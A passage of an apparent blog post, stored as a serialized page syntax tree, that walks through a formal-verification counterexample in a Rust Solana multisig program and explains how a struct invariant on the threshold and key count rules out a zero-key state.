tyle":1158},[29817],{"type":30,"value":12699},{"type":24,"tag":930,"props":29819,"children":29820},{"style":959},[29821],{"type":30,"value":12704},{"type":24,"tag":33,"props":29823,"children":29824},{},[29825,29827,29832],{"type":30,"value":29826},"Let's test this, we just need to run the new ",{"type":24,"tag":156,"props":29828,"children":29830},{"className":29829},[],[29831],{"type":30,"value":23265},{"type":30,"value":29833}," harness:",{"type":24,"tag":920,"props":29835,"children":29837},{"code":29836},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[29838],{"type":24,"tag":156,"props":29839,"children":29840},{"__ignoreMap":7},[29841],{"type":30,"value":29836},{"type":24,"tag":33,"props":29843,"children":29844},{},[29845],{"type":30,"value":29846},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":24,"tag":920,"props":29848,"children":29850},{"code":29849,"language":6101,"meta":7,"className":6102,"style":7},"Account {\n    account: Ms {\n        threshold: 0,\n        authority_index: 0,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: Vec {\n            data: ...,\n            size: 0,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[29851],{"type":24,"tag":156,"props":29852,"children":29853},{"__ignoreMap":7},[29854,29865,29884,29903,29922,29941,29960,29979,29998,30017,30036,30056,30075,30082,30089,30116],{"type":24,"tag":930,"props":29855,"children":29856},{"class":932,"line":933},[29857,29861],{"type":24,"tag":930,"props":29858,"children":29859},{"style":943},[29860],{"type":30,"value":20247},{"type":24,"tag":930,"props":29862,"children":29863},{"style":959},[29864],{"type":30,"value":981},{"type":24,"tag":930,"props":29866,"children":29867},{"class":932,"line":984},[29868,29872,29876,29880],{"type":24,"tag":930,"props":29869,"children":29870},{"style":1023},[29871],{"type":30,"value":28263},{"type":24,"tag":930,"props":29873,"children":29874},{"style":1158},[29875],{"type":30,"value":476},{"type":24,"tag":930,"props":29877,"children":29878},{"style":943},[29879],{"type":30,"value":24258},{"type":24,"tag":930,"props":29881,"children":29882},{"style":959},[29883],{"type":30,"value":981},{"type":24,"tag":930,"props":29885,"children":29886},{"class":932,"line":993},[29887,29891,29895,29899],{"type":24,"tag":930,"props":29888,"children":29889},{"style":1023},[29890],{"type":30,"value":26923},{"type":24,"tag":930,"props":29892,"children":29893},{"style":1158},[29894],{"type":30,"value":476},{"type":24,"tag":930,"props":29896,"children":29897},{"style":1242},[29898],{"type":30,"value":1245},{"type":24,"tag":930,"props":29900,"children":29901},{"style":959},[29902],{"type":30,"value":2832},{"type":24,"tag":930,"props":29904,"children":29905},{"class":932,"line":1057},[29906,29910,29914,29918],{"type":24,"tag":930,"props":29907,"children":29908},{"style":1023},[29909],{"type":30,"value":28303},{"type":24,"tag":930,"props":29911,"children":29912},{"style":1158},[29913],{"type":30,"value":476},{"type":24,"tag":930,"props":29915,"children":29916},{"style":1242},[29917],{"type":30,"value":1245},{"type":24,"tag":930,"props":29919,"children":29920},{"style":959},[29921],{"type":30,"value":2832},{"type":24,"tag":930,"props":29923,"children":29924},{"class":932,"line":1066},[29925,29929,29933,29937],{"type":24,"tag":930,"props":29926,"children":29927},{"style":1023},[29928],{"type":30,"value":28323},{"type":24,"tag":930,"props":29930,"children":29931},{"style":1158},[29932],{"type":30,"value":476},{"type":24,"tag":930,"props":29934,"children":29935},{"style":1242},[29936],{"type":30,"value":1245},{"type":24,"tag":930,"props":29938,"children":29939},{"style":959},[29940],{"type":30,"value":2832},{"type":24,"tag":930,"props":29942,"children":29943},{"class":932,"line":1075},[29944,29948,29952,29956],{"type":24,"tag":930,"props":29945,"children":29946},{"style":1023},[29947],{"type":30,"value":28343},{"type":24,"tag":930,"props":29949,"children":29950},{"style":1158},[29951],{"type":30,"value":476},{"type":24,"tag":930,"props":29953,"children":29954},{"style":1242},[29955],{"type":30,"value":1245},{"type":24,"tag":930,"props":29957,"children":29958},{"style":959},[29959],{"type":30,"value":2832},{"type":24,"tag":930,"props":29961,"children":29962},{"class":932,"line":1122},[29963,29967,29971,29975],{"type":24,"tag":930,"props":29964,"children":29965},{"style":1023},[29966],{"type":30,"value":28363},{"type":24,"tag":930,"props":29968,"children":29969},{"style":1158},[29970],{"type":30,"value":476},{"type":24,"tag":930,"props":29972,"children":29973},{"style":1242},[29974],{"type":30,"value":1245},{"type":24,"tag":930,"props":29976,"children":29977},{"style":959},[29978],{"type":30,"value":2832},{"type":24,"tag":930,"props":29980,"children":29981},{"class":932,"line":1131},[29982,29986,29990,29994],{"type":24,"tag":930,"props":29983,"children":29984},{"style":1023},[29985],{"type":30,"value":26935},{"type":24,"tag":930,"props":29987,"children":29988},{"style":1158},[29989],{"type":30,"value":476},{"type":24,"tag":930,"props":29991,"children":29992},{"style":1158},[29993],{"type":30,"value":28391},{"type":24,"tag":930,"props":29995,"children":29996},{"style":959},[29997],{"type":30,"value":2832},{"type":24,"tag":930,"props":29999,"children":30000},{"class":932,"line":1144},[30001,30005,30009,30013],{"type":24,"tag":930,"props":30002,"children":30003},{"style":1023},[30004],{"type":30,"value":28403},{"type":24,"tag":930,"props":30006,"children":30007},{"style":1158},[30008],{"type":30,"value":476},{"type":24,"tag":930,"props":30010,"children":30011},{"style":937},[30012],{"type":30,"value":12167},{"type":24,"tag":930,"props":30014,"children":30015},{"style":959},[30016],{"type":30,"value":2832},{"type":24,"tag":930,"props":30018,"children":30019},{"class":932,"line":1169},[30020,30024,30028,30032],{"type":24,"tag":930,"props":30021,"children":30022},{"style":1023},[30023],{"type":30,"value":28423},{"type":24,"tag":930,"props":30025,"children":30026},{"style":1158},[30027],{"type":30,"value":476},{"type":24,"tag":930,"props":30029,"children":30030},{"style":943},[30031],{"type":30,"value":24491},{"type":24,"tag":930,"props":30033,"children":30034},{"style":959},[30035],{"type":30,"value":981},{"type":24,"tag":930,"props":30037,"children":30038},{"class":932,"line":1191},[30039,30044,30048,30052],{"type":24,"tag":930,"props":30040,"children":30041},{"style":1023},[30042],{"type":30,"value":30043},"            data",{"type":24,"tag":930,"props":30045,"children":30046},{"style":1158},[30047],{"type":30,"value":476},{"type":24,"tag":930,"props":30049,"children":30050},{"style":1158},[30051],{"type":30,"value":28391},{"type":24,"tag":930,"props":30053,"children":30054},{"style":959},[30055],{"type":30,"value":2832},{"type":24,"tag":930,"props":30057,"children":30058},{"class":932,"line":1223},[30059,30063,30067,30071],{"type":24,"tag":930,"props":30060,"children":30061},{"style":1023},[30062],{"type":30,"value":28444},{"type":24,"tag":930,"props":30064,"children":30065},{"style":1158},[30066],{"type":30,"value":476},{"type":24,"tag":930,"props":30068,"children":30069},{"style":1242},[30070],{"type":30,"value":1245},{"type":24,"tag":930,"props":30072,"children":30073},{"style":959},[30074],{"type":30,"value":2832},{"type":24,"tag":930,"props":30076,"children":30077},{"class":932,"line":1281},[30078],{"type":24,"tag":930,"props":30079,"children":30080},{"style":959},[30081],{"type":30,"value":28465},{"type":24,"tag":930,"props":30083,"children":30084},{"class":932,"line":1313},[30085],{"type":24,"tag":930,"props":30086,"children":30087},{"style":959},[30088],{"type":30,"value":28473},{"type":24,"tag":930,"props":30090,"children":30091},{"class":932,"line":1335},[30092,30096,30100,30104,30108,30112],{"type":24,"tag":930,"props":30093,"children":30094},{"style":1023},[30095],{"type":30,"value":28481},{"type":24,"tag":930,"props":30097,"children":30098},{"style":1158},[30099],{"type":30,"value":476},{"type":24,"tag":930,"props":30101,"children":30102},{"style":943},[30103],{"type":30,"value":28490},{"type":24,"tag":930,"props":30105,"children":30106},{"style":959},[30107],{"type":30,"value":12694},{"type":24,"tag":930,"props":30109,"children":30110},{"style":1158},[30111],{"type":30,"value":12699},{"type":24,"tag":930,"props":30113,"children":30114},{"style":959},[30115],{"type":30,"value":28503},{"type":24,"tag":930,"props":30117,"children":30118},{"class":932,"line":1376},[30119],{"type":24,"tag":930,"props":30120,"children":30121},{"style":959},[30122],{"type":30,"value":2528},{"type":24,"tag":33,"props":30124,"children":30125},{},[30126],{"type":30,"value":30127},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":24,"tag":33,"props":30129,"children":30130},{},[30131,30133,30139],{"type":30,"value":30132},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":24,"tag":156,"props":30134,"children":30136},{"className":30135},[],[30137],{"type":30,"value":30138},"Ms::remove_member",{"type":30,"value":476},{"type":24,"tag":920,"props":30141,"children":30143},{"code":30142,"language":6101,"meta":7,"className":6102,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n    return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[30144],{"type":24,"tag":156,"props":30145,"children":30146},{"__ignoreMap":7},[30147,30206,30237,30244],{"type":24,"tag":930,"props":30148,"children":30149},{"class":932,"line":933},[30150,30154,30158,30162,30166,30170,30174,30178,30182,30186,30190,30194,30198,30202],{"type":24,"tag":930,"props":30151,"children":30152},{"style":1079},[30153],{"type":30,"value":18683},{"type":24,"tag":930,"props":30155,"children":30156},{"style":1023},[30157],{"type":30,"value":28935},{"type":24,"tag":930,"props":30159,"children":30160},{"style":1158},[30161],{"type":30,"value":436},{"type":24,"tag":930,"props":30163,"children":30164},{"style":959},[30165],{"type":30,"value":17781},{"type":24,"tag":930,"props":30167,"children":30168},{"style":1158},[30169],{"type":30,"value":436},{"type":24,"tag":930,"props":30171,"children":30172},{"style":959},[30173],{"type":30,"value":26903},{"type":24,"tag":930,"props":30175,"children":30176},{"style":1158},[30177],{"type":30,"value":436},{"type":24,"tag":930,"props":30179,"children":30180},{"style":959},[30181],{"type":30,"value":24085},{"type":24,"tag":930,"props":30183,"children":30184},{"style":1158},[30185],{"type":30,"value":436},{"type":24,"tag":930,"props":30187,"children":30188},{"style":1002},[30189],{"type":30,"value":12247},{"type":24,"tag":930,"props":30191,"children":30192},{"style":959},[30193],{"type":30,"value":3446},{"type":24,"tag":930,"props":30195,"children":30196},{"style":1158},[30197],{"type":30,"value":1239},{"type":24,"tag":930,"props":30199,"children":30200},{"style":1242},[30201],{"type":30,"value":7637},{"type":24,"tag":930,"props":30203,"children":30204},{"style":959},[30205],{"type":30,"value":981},{"type":24,"tag":930,"props":30207,"children":30208},{"class":932,"line":984},[30209,30213,30217,30221,30225,30229,30233],{"type":24,"tag":930,"props":30210,"children":30211},{"style":1079},[30212],{"type":30,"value":20090},{"type":24,"tag":930,"props":30214,"children":30215},{"style":1002},[30216],{"type":30,"value":26620},{"type":24,"tag":930,"props":30218,"children":30219},{"style":959},[30220],{"type":30,"value":1010},{"type":24,"tag":930,"props":30222,"children":30223},{"style":943},[30224],{"type":30,"value":26629},{"type":24,"tag":930,"props":30226,"children":30227},{"style":1158},[30228],{"type":30,"value":6597},{"type":24,"tag":930,"props":30230,"children":30231},{"style":943},[30232],{"type":30,"value":29011},{"type":24,"tag":930,"props":30234,"children":30235},{"style":959},[30236],{"type":30,"value":1278},{"type":24,"tag":930,"props":30238,"children":30239},{"class":932,"line":993},[30240],{"type":24,"tag":930,"props":30241,"children":30242},{"style":959},[30243],{"type":30,"value":2528},{"type":24,"tag":930,"props":30245,"children":30246},{"class":932,"line":1057},[30247,30251,30255,30259,30263,30267,30271,30275,30279,30283,30287,30291],{"type":24,"tag":930,"props":30248,"children":30249},{"style":1023},[30250],{"type":30,"value":23384},{"type":24,"tag":930,"props":30252,"children":30253},{"style":1158},[30254],{"type":30,"value":436},{"type":24,"tag":930,"props":30256,"children":30257},{"style":959},[30258],{"type":30,"value":17781},{"type":24,"tag":930,"props":30260,"children":30261},{"style":1158},[30262],{"type":30,"value":436},{"type":24,"tag":930,"props":30264,"children":30265},{"style":959},[30266],{"type":30,"value":26903},{"type":24,"tag":930,"props":30268,"children":30269},{"style":1158},[30270],{"type":30,"value":436},{"type":24,"tag":930,"props":30272,"children":30273},{"style":1002},[30274],{"type":30,"value":28558},{"type":24,"tag":930,"props":30276,"children":30277},{"style":959},[30278],{"type":30,"value":1010},{"type":24,"tag":930,"props":30280,"children":30281},{"style":1023},[30282],{"type":30,"value":28891},{"type":24,"tag":930,"props":30284,"children":30285},{"style":959},[30286],{"type":30,"value":6249},{"type":24,"tag":930,"props":30288,"children":30289},{"style":1158},[30290],{"type":30,"value":5347},{"type":24,"tag":930,"props":30292,"children":30293},{"style":959},[30294],{"type":30,"value":5539},{"type":24,"tag":33,"props":30296,"children":30297},{},[30298,30300,30306,30308,30314],{"type":30,"value":30299},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":24,"tag":156,"props":30301,"children":30303},{"className":30302},[],[30304],{"type":30,"value":30305},"Ms::is_member",{"type":30,"value":30307},") and if it is not, it simply skips the removal and returns ",{"type":24,"tag":156,"props":30309,"children":30311},{"className":30310},[],[30312],{"type":30,"value":30313},"Ok(())",{"type":30,"value":436},{"type":24,"tag":920,"props":30316,"children":30318},{"code":30317,"language":6101,"meta":7,"className":6102,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n    if let Some(ind) = self.is_member(member) {\n        self.keys.remove(ind);\n        if self.keys.len() \u003C usize::from(self.threshold) {\n            self.threshold = self.keys.len().try_into().unwrap();\n        }\n    }\n    Ok(())\n}\n",[30319],{"type":24,"tag":156,"props":30320,"children":30321},{"__ignoreMap":7},[30322,30386,30445,30482,30541,30609,30616,30623,30634],{"type":24,"tag":930,"props":30323,"children":30324},{"class":932,"line":933},[30325,30329,30333,30337,30341,30345,30349,30353,30357,30362,30366,30370,30374,30378,30382],{"type":24,"tag":930,"props":30326,"children":30327},{"style":937},[30328],{"type":30,"value":16797},{"type":24,"tag":930,"props":30330,"children":30331},{"style":937},[30332],{"type":30,"value":16802},{"type":24,"tag":930,"props":30334,"children":30335},{"style":1002},[30336],{"type":30,"value":28857},{"type":24,"tag":930,"props":30338,"children":30339},{"style":959},[30340],{"type":30,"value":1010},{"type":24,"tag":930,"props":30342,"children":30343},{"style":1158},[30344],{"type":30,"value":6230},{"type":24,"tag":930,"props":30346,"children":30347},{"style":937},[30348],{"type":30,"value":6839},{"type":24,"tag":930,"props":30350,"children":30351},{"style":937},[30352],{"type":30,"value":16904},{"type":24,"tag":930,"props":30354,"children":30355},{"style":959},[30356],{"type":30,"value":962},{"type":24,"tag":930,"props":30358,"children":30359},{"style":1023},[30360],{"type":30,"value":30361},"member",{"type":24,"tag":930,"props":30363,"children":30364},{"style":1158},[30365],{"type":30,"value":476},{"type":24,"tag":930,"props":30367,"children":30368},{"style":943},[30369],{"type":30,"value":23959},{"type":24,"tag":930,"props":30371,"children":30372},{"style":959},[30373],{"type":30,"value":5579},{"type":24,"tag":930,"props":30375,"children":30376},{"style":1158},[30377],{"type":30,"value":16864},{"type":24,"tag":930,"props":30379,"children":30380},{"style":943},[30381],{"type":30,"value":16869},{"type":24,"tag":930,"props":30383,"children":30384},{"style":959},[30385],{"type":30,"value":23435},{"type":24,"tag":930,"props":30387,"children":30388},{"class":932,"line":984},[30389,30393,30398,30403,30407,30412,30416,30420,30424,30428,30433,30437,30441],{"type":24,"tag":930,"props":30390,"children":30391},{"style":1079},[30392],{"type":30,"value":15386},{"type":24,"tag":930,"props":30394,"children":30395},{"style":937},[30396],{"type":30,"value":30397}," let",{"type":24,"tag":930,"props":30399,"children":30400},{"style":943},[30401],{"type":30,"value":30402}," Some",{"type":24,"tag":930,"props":30404,"children":30405},{"style":959},[30406],{"type":30,"value":1010},{"type":24,"tag":930,"props":30408,"children":30409},{"style":1023},[30410],{"type":30,"value":30411},"ind",{"type":24,"tag":930,"props":30413,"children":30414},{"style":959},[30415],{"type":30,"value":5579},{"type":24,"tag":930,"props":30417,"children":30418},{"style":1158},[30419],{"type":30,"value":1161},{"type":24,"tag":930,"props":30421,"children":30422},{"style":937},[30423],{"type":30,"value":16904},{"type":24,"tag":930,"props":30425,"children":30426},{"style":1158},[30427],{"type":30,"value":436},{"type":24,"tag":930,"props":30429,"children":30430},{"style":1002},[30431],{"type":30,"value":30432},"is_member",{"type":24,"tag":930,"props":30434,"children":30435},{"style":959},[30436],{"type":30,"value":1010},{"type":24,"tag":930,"props":30438,"children":30439},{"style":1023},[30440],{"type":30,"value":30361},{"type":24,"tag":930,"props":30442,"children":30443},{"style":959},[30444],{"type":30,"value":1503},{"type":24,"tag":930,"props":30446,"children":30447},{"class":932,"line":993},[30448,30453,30457,30461,30465,30470,30474,30478],{"type":24,"tag":930,"props":30449,"children":30450},{"style":937},[30451],{"type":30,"value":30452},"        self",{"type":24,"tag":930,"props":30454,"children":30455},{"style":1158},[30456],{"type":30,"value":436},{"type":24,"tag":930,"props":30458,"children":30459},{"style":959},[30460],{"type":30,"value":24085},{"type":24,"tag":930,"props":30462,"children":30463},{"style":1158},[30464],{"type":30,"value":436},{"type":24,"tag":930,"props":30466,"children":30467},{"style":1002},[30468],{"type":30,"value":30469},"remove",{"type":24,"tag":930,"props":30471,"children":30472},{"style":959},[30473],{"type":30,"value":1010},{"type":24,"tag":930,"props":30475,"children":30476},{"style":1023},[30477],{"type":30,"value":30411},{"type":24,"tag":930,"props":30479,"children":30480},{"style":959},[30481],{"type":30,"value":1278},{"type":24,"tag":930,"props":30483,"children":30484},{"class":932,"line":1057},[30485,30489,30493,30497,30501,30505,30509,30513,30517,30521,30525,30529,30533,30537],{"type":24,"tag":930,"props":30486,"children":30487},{"style":1079},[30488],{"type":30,"value":3290},{"type":24,"tag":930,"props":30490,"children":30491},{"style":937},[30492],{"type":30,"value":16904},{"type":24,"tag":930,"props":30494,"children":30495},{"style":1158},[30496],{"type":30,"value":436},{"type":24,"tag":930,"props":30498,"children":30499},{"style":959},[30500],{"type":30,"value":24085},{"type":24,"tag":930,"props":30502,"children":30503},{"style":1158},[30504],{"type":30,"value":436},{"type":24,"tag":930,"props":30506,"children":30507},{"style":1002},[30508],{"type":30,"value":12247},{"type":24,"tag":930,"props":30510,"children":30511},{"style":959},[30512],{"type":30,"value":29136},{"type":24,"tag":930,"props":30514,"children":30515},{"style":943},[30516],{"type":30,"value":19703},{"type":24,"tag":930,"props":30518,"children":30519},{"style":1158},[30520],{"type":30,"value":6597},{"type":24,"tag":930,"props":30522,"children":30523},{"style":1002},[30524],{"type":30,"value":22576},{"type":24,"tag":930,"props":30526,"children":30527},{"style":959},[30528],{"type":30,"value":1010},{"type":24,"tag":930,"props":30530,"children":30531},{"style":937},[30532],{"type":30,"value":16820},{"type":24,"tag":930,"props":30534,"children":30535},{"style":1158},[30536],{"type":30,"value":436},{"type":24,"tag":930,"props":30538,"children":30539},{"style":959},[30540],{"type":30,"value":29181},{"type":24,"tag":930,"props":30542,"children":30543},{"class":932,"line":1066},[30544,30549,30553,30557,30561,30565,30569,30573,30577,30581,30585,30589,30593,30597,30601,30605],{"type":24,"tag":930,"props":30545,"children":30546},{"style":937},[30547],{"type":30,"value":30548},"            self",{"type":24,"tag":930,"props":30550,"children":30551},{"style":1158},[30552],{"type":30,"value":436},{"type":24,"tag":930,"props":30554,"children":30555},{"style":959},[30556],{"type":30,"value":24173},{"type":24,"tag":930,"props":30558,"children":30559},{"style":1158},[30560],{"type":30,"value":1161},{"type":24,"tag":930,"props":30562,"children":30563},{"style":937},[30564],{"type":30,"value":16904},{"type":24,"tag":930,"props":30566,"children":30567},{"style":1158},[30568],{"type":30,"value":436},{"type":24,"tag":930,"props":30570,"children":30571},{"style":959},[30572],{"type":30,"value":24085},{"type":24,"tag":930,"props":30574,"children":30575},{"style":1158},[30576],{"type":30,"value":436},{"type":24,"tag":930,"props":30578,"children":30579},{"style":1002},[30580],{"type":30,"value":12247},{"type":24,"tag":930,"props":30582,"children":30583},{"style":959},[30584],{"type":30,"value":16986},{"type":24,"tag":930,"props":30586,"children":30587},{"style":1158},[30588],{"type":30,"value":436},{"type":24,"tag":930,"props":30590,"children":30591},{"style":1002},[30592],{"type":30,"value":29254},{"type":24,"tag":930,"props":30594,"children":30595},{"style":959},[30596],{"type":30,"value":16986},{"type":24,"tag":930,"props":30598,"children":30599},{"style":1158},[30600],{"type":30,"value":436},{"type":24,"tag":930,"props":30602,"children":30603},{"style":1002},[30604],{"type":30,"value":6781},{"type":24,"tag":930,"props":30606,"children":30607},{"style":959},[30608],{"type":30,"value":1310},{"type":24,"tag":930,"props":30610,"children":30611},{"class":932,"line":1075},[30612],{"type":24,"tag":930,"props":30613,"children":30614},{"style":959},[30615],{"type":30,"value":1831},{"type":24,"tag":930,"props":30617,"children":30618},{"class":932,"line":1122},[30619],{"type":24,"tag":930,"props":30620,"children":30621},{"style":959},[30622],{"type":30,"value":1840},{"type":24,"tag":930,"props":30624,"children":30625},{"class":932,"line":1131},[30626,30630],{"type":24,"tag":930,"props":30627,"children":30628},{"style":943},[30629],{"type":30,"value":17439},{"type":24,"tag":930,"props":30631,"children":30632},{"style":959},[30633],{"type":30,"value":17444},{"type":24,"tag":930,"props":30635,"children":30636},{"class":932,"line":1144},[30637],{"type":24,"tag":930,"props":30638,"children":30639},{"style":959},[30640],{"type":30,"value":2528},{"type":24,"tag":33,"props":30642,"children":30643},{},[30644,30646,30651,30653,30659,30661,30667,30669,30674],{"type":30,"value":30645},"Inside ",{"type":24,"tag":156,"props":30647,"children":30649},{"className":30648},[],[30650],{"type":30,"value":30305},{"type":30,"value":30652},", we see that it performs a ",{"type":24,"tag":156,"props":30654,"children":30656},{"className":30655},[],[30657],{"type":30,"value":30658},"binary_search",{"type":30,"value":30660}," on the keys vec and returns the index or ",{"type":24,"tag":156,"props":30662,"children":30664},{"className":30663},[],[30665],{"type":30,"value":30666},"None",{"type":30,"value":30668},". Since the vec has size zero, this will just return ",{"type":24,"tag":156,"props":30670,"children":30672},{"className":30671},[],[30673],{"type":30,"value":30666},{"type":30,"value":436},{"type":24,"tag":920,"props":30676,"children":30678},{"code":30677,"language":6101,"meta":7,"className":6102,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n    match self.keys.binary_search(&member) {\n        Ok(ind) => Some(ind),\n        _ => None,\n    }\n}\n",[30679],{"type":24,"tag":156,"props":30680,"children":30681},{"__ignoreMap":7},[30682,30751,30794,30833,30855,30862],{"type":24,"tag":930,"props":30683,"children":30684},{"class":932,"line":933},[30685,30689,30693,30698,30702,30706,30710,30714,30718,30722,30726,30730,30734,30739,30743,30747],{"type":24,"tag":930,"props":30686,"children":30687},{"style":937},[30688],{"type":30,"value":16797},{"type":24,"tag":930,"props":30690,"children":30691},{"style":937},[30692],{"type":30,"value":16802},{"type":24,"tag":930,"props":30694,"children":30695},{"style":1002},[30696],{"type":30,"value":30697}," is_member",{"type":24,"tag":930,"props":30699,"children":30700},{"style":959},[30701],{"type":30,"value":1010},{"type":24,"tag":930,"props":30703,"children":30704},{"style":1158},[30705],{"type":30,"value":6230},{"type":24,"tag":930,"props":30707,"children":30708},{"style":937},[30709],{"type":30,"value":16820},{"type":24,"tag":930,"props":30711,"children":30712},{"style":959},[30713],{"type":30,"value":962},{"type":24,"tag":930,"props":30715,"children":30716},{"style":1023},[30717],{"type":30,"value":30361},{"type":24,"tag":930,"props":30719,"children":30720},{"style":1158},[30721],{"type":30,"value":476},{"type":24,"tag":930,"props":30723,"children":30724},{"style":943},[30725],{"type":30,"value":23959},{"type":24,"tag":930,"props":30727,"children":30728},{"style":959},[30729],{"type":30,"value":5579},{"type":24,"tag":930,"props":30731,"children":30732},{"style":1158},[30733],{"type":30,"value":16864},{"type":24,"tag":930,"props":30735,"children":30736},{"style":943},[30737],{"type":30,"value":30738}," Option",{"type":24,"tag":930,"props":30740,"children":30741},{"style":959},[30742],{"type":30,"value":1350},{"type":24,"tag":930,"props":30744,"children":30745},{"style":943},[30746],{"type":30,"value":19703},{"type":24,"tag":930,"props":30748,"children":30749},{"style":959},[30750],{"type":30,"value":10392},{"type":24,"tag":930,"props":30752,"children":30753},{"class":932,"line":984},[30754,30758,30762,30766,30770,30774,30778,30782,30786,30790],{"type":24,"tag":930,"props":30755,"children":30756},{"style":1079},[30757],{"type":30,"value":17857},{"type":24,"tag":930,"props":30759,"children":30760},{"style":937},[30761],{"type":30,"value":16904},{"type":24,"tag":930,"props":30763,"children":30764},{"style":1158},[30765],{"type":30,"value":436},{"type":24,"tag":930,"props":30767,"children":30768},{"style":959},[30769],{"type":30,"value":24085},{"type":24,"tag":930,"props":30771,"children":30772},{"style":1158},[30773],{"type":30,"value":436},{"type":24,"tag":930,"props":30775,"children":30776},{"style":1002},[30777],{"type":30,"value":30658},{"type":24,"tag":930,"props":30779,"children":30780},{"style":959},[30781],{"type":30,"value":1010},{"type":24,"tag":930,"props":30783,"children":30784},{"style":1158},[30785],{"type":30,"value":6230},{"type":24,"tag":930,"props":30787,"children":30788},{"style":1023},[30789],{"type":30,"value":30361},{"type":24,"tag":930,"props":30791,"children":30792},{"style":959},[30793],{"type":30,"value":1503},{"type":24,"tag":930,"props":30795,"children":30796},{"class":932,"line":993},[30797,30801,30805,30809,30813,30817,30821,30825,30829],{"type":24,"tag":930,"props":30798,"children":30799},{"style":943},[30800],{"type":30,"value":17915},{"type":24,"tag":930,"props":30802,"children":30803},{"style":959},[30804],{"type":30,"value":1010},{"type":24,"tag":930,"props":30806,"children":30807},{"style":1023},[30808],{"type":30,"value":30411},{"type":24,"tag":930,"props":30810,"children":30811},{"style":959},[30812],{"type":30,"value":5579},{"type":24,"tag":930,"props":30814,"children":30815},{"style":1158},[30816],{"type":30,"value":17925},{"type":24,"tag":930,"props":30818,"children":30819},{"style":943},[30820],{"type":30,"value":30402},{"type":24,"tag":930,"props":30822,"children":30823},{"style":959},[30824],{"type":30,"value":1010},{"type":24,"tag":930,"props":30826,"children":30827},{"style":1023},[30828],{"type":30,"value":30411},{"type":24,"tag":930,"props":30830,"children":30831},{"style":959},[30832],{"type":30,"value":9848},{"type":24,"tag":930,"props":30834,"children":30835},{"class":932,"line":1057},[30836,30841,30846,30851],{"type":24,"tag":930,"props":30837,"children":30838},{"style":1023},[30839],{"type":30,"value":30840},"        _",{"type":24,"tag":930,"props":30842,"children":30843},{"style":1158},[30844],{"type":30,"value":30845}," =>",{"type":24,"tag":930,"props":30847,"children":30848},{"style":943},[30849],{"type":30,"value":30850}," None",{"type":24,"tag":930,"props":30852,"children":30853},{"style":959},[30854],{"type":30,"value":2832},{"type":24,"tag":930,"props":30856,"children":30857},{"class":932,"line":1066},[30858],{"type":24,"tag":930,"props":30859,"children":30860},{"style":959},[30861],{"type":30,"value":1840},{"type":24,"tag":930,"props":30863,"children":30864},{"class":932,"line":1075},[30865],{"type":24,"tag":930,"props":30866,"children":30867},{"style":959},[30868],{"type":30,"value":2528},{"type":24,"tag":33,"props":30870,"children":30871},{},[30872,30874,30879,30881,30886,30888,30893,30895,30900],{"type":30,"value":30873},"So interestingly, a ",{"type":24,"tag":156,"props":30875,"children":30877},{"className":30876},[],[30878],{"type":30,"value":24085},{"type":30,"value":30880}," vec of size 0 ",{"type":24,"tag":6032,"props":30882,"children":30883},{},[30884],{"type":30,"value":30885},"is actually",{"type":30,"value":30887}," a sufficient condition to execute ",{"type":24,"tag":156,"props":30889,"children":30891},{"className":30890},[],[30892],{"type":30,"value":28558},{"type":30,"value":30894},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":24,"tag":6032,"props":30896,"children":30897},{},[30898],{"type":30,"value":30899},"valid",{"type":30,"value":30901}," multisig, the number of keys should never be zero.",{"type":24,"tag":33,"props":30903,"children":30904},{},[30905,30907,30912],{"type":30,"value":30906},"We can represent this ",{"type":24,"tag":6032,"props":30908,"children":30909},{},[30910],{"type":30,"value":30911},"validity",{"type":30,"value":30913}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":24,"tag":920,"props":30915,"children":30917},{"code":30916,"language":6101,"meta":7,"className":6102,"style":7},"#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[30918],{"type":24,"tag":156,"props":30919,"children":30920},{"__ignoreMap":7},[30921,30928,30951,31002,31009],{"type":24,"tag":930,"props":30922,"children":30923},{"class":932,"line":933},[30924],{"type":24,"tag":930,"props":30925,"children":30926},{"style":959},[30927],{"type":30,"value":23880},{"type":24,"tag":930,"props":30929,"children":30930},{"class":932,"line":984},[30931,30935,30939,30943,30947],{"type":24,"tag":930,"props":30932,"children":30933},{"style":959},[30934],{"type":30,"value":27821},{"type":24,"tag":930,"props":30936,"children":30937},{"style":1158},[30938],{"type":30,"value":436},{"type":24,"tag":930,"props":30940,"children":30941},{"style":959},[30942],{"type":30,"value":24173},{"type":24,"tag":930,"props":30944,"children":30945},{"style":1158},[30946],{"type":30,"value":13051},{"type":24,"tag":930,"props":30948,"children":30949},{"style":959},[30950],{"type":30,"value":24182},{"type":24,"tag":930,"props":30952,"children":30953},{"class":932,"line":993},[30954,30958,30962,30966,30970,30974,30978,30982,30986,30990,30994,30998],{"type":24,"tag":930,"props":30955,"children":30956},{"style":1158},[30957],{"type":30,"value":18725},{"type":24,"tag":930,"props":30959,"children":30960},{"style":959},[30961],{"type":30,"value":24106},{"type":24,"tag":930,"props":30963,"children":30964},{"style":1158},[30965],{"type":30,"value":436},{"type":24,"tag":930,"props":30967,"children":30968},{"style":959},[30969],{"type":30,"value":24173},{"type":24,"tag":930,"props":30971,"children":30972},{"style":937},[30973],{"type":30,"value":11951},{"type":24,"tag":930,"props":30975,"children":30976},{"style":943},[30977],{"type":30,"value":16838},{"type":24,"tag":930,"props":30979,"children":30980},{"style":1158},[30981],{"type":30,"value":11306},{"type":24,"tag":930,"props":30983,"children":30984},{"style":959},[30985],{"type":30,"value":16904},{"type":24,"tag":930,"props":30987,"children":30988},{"st